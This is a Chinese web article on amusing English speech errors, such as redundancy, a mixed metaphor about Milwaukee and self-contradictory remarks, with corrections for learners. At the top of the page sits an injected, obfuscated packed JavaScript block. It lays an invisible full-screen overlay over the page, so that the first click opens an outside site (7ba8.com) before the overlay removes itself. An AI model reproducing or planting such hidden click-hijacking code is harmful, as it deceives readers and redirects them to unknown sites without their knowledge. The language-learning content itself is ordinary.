“胡说八道”的美国人

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我们在日常生活中讲话,会经常犯一些错误,用词不当啦,语法错误啦,等等等等。通常,就算说错了话,大家也能够基本听明白。不过,要是错的太离谱,就会成为笑柄了。比如我们对主持人,播音员出的错,记得尤为清楚。同样,美国人在讲话中也会漏洞百出,今天我就想举几个知名人士的例子,目的是在博取大家一笑的同时,也提醒大家注意一些可以避免的错误。
  维斯康星州Milwaukee市的一位棒球教练曾说过这样的话:
  I think we have a pretty good basketball team. And we’re going to get better as we improve.
  他的意思是:我认为我们有一支相当不错的球队。而且我们会在进步的时候进步。
  上面这句话里,to get better的意思就是to improve。这么啰嗦地讲话,一看就知道是中学语文没学好,难怪会被人笑话。但是,要怎么说才合适呢?记得上学的时候做语文改错,内容重复就要删掉重复的部分。因此,我们可以说:And we’re going to get better.或者说: And we’re going to improve.如果非要用as,那就可以说: And we’re going to get better as time goes on.
  另一个逸事还是发生在同一个城市里,这回就是政府要人了。他说:
  Milwaukee is the golden egg that the rest of the state wants to milk.
  (Milwaukee市是一个金蛋,整个州都想从它这里挤奶。)
  这个错误太明显了,怎么可能从蛋里挤出奶来呢?也许是这个城市的名字惹的祸吧,谁让它叫Mil-wau-kee呢?讲话的人本来想做一个生动的比喻,可一不留神说走了嘴,搞得这句话不伦不类的,结果他想表达的意思大家没注意,倒是犯的错误让人记住了。
  还有一个参议院曾经说:
  By the way, before I start talking, I want to say…
  (顺带一下,在我说话之前,我想说……)
  这句话是明摆着的自相矛盾。“说话之前”就是还没说话的时候,他怎么可能在还没说话的时候说话呢?不难想象,他这话一出口,肯定引得哄堂大笑。所以,改一下这句话,把它变成:By the way, before I start talking about the issue, I wan to say…(顺带一下,在我谈论正题之前,我想说……)就不会闹出笑话了。
  让我们再来看一下一位名人对一个特别火的餐馆的评价:
  Nobody goes there anymore. It’s too crowded.
  他的意思是:现在没人去那儿了。因为那里太拥挤了。
  如果没有人去那里用餐了,怎么又会拥挤呢?他的本意是这个餐馆生意实在太好,导致大家都不敢去了,因为那里总是人满为患。可是一个nobody把所有的人都包括进去,结果这句话就变得自相矛盾了。当然,这个评论实际上还是相当幽默的,尽管有无心插柳之嫌。作为外国人,我们最好还是少效仿这样的幽默,因为这不但和听众有很大关系,和讲话人的身份也有直接联系。而且,就算是母语是英语的人,也不一定能够把握其中的分寸。
  最后再讲一件趣事,是因为意思含糊而造成的。一位男士去公用厕所方便,看到了一张告示:Toilet out of order. Please use floor below.(马桶坏了,请用楼下)这个floor below可以有两种理解,一个是指楼下的厕所,还一个是指脚下的地板。这位男士理解成第二个意思了,结果……他就照着做了……
  可见,“胡说八道”实在是难免的,而对于外语学习者来说,就更是必经的磨练了。我们讲错了不要紧,要紧的是知道错在哪里,这样下回就不会再错了!
作者:Gloria
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部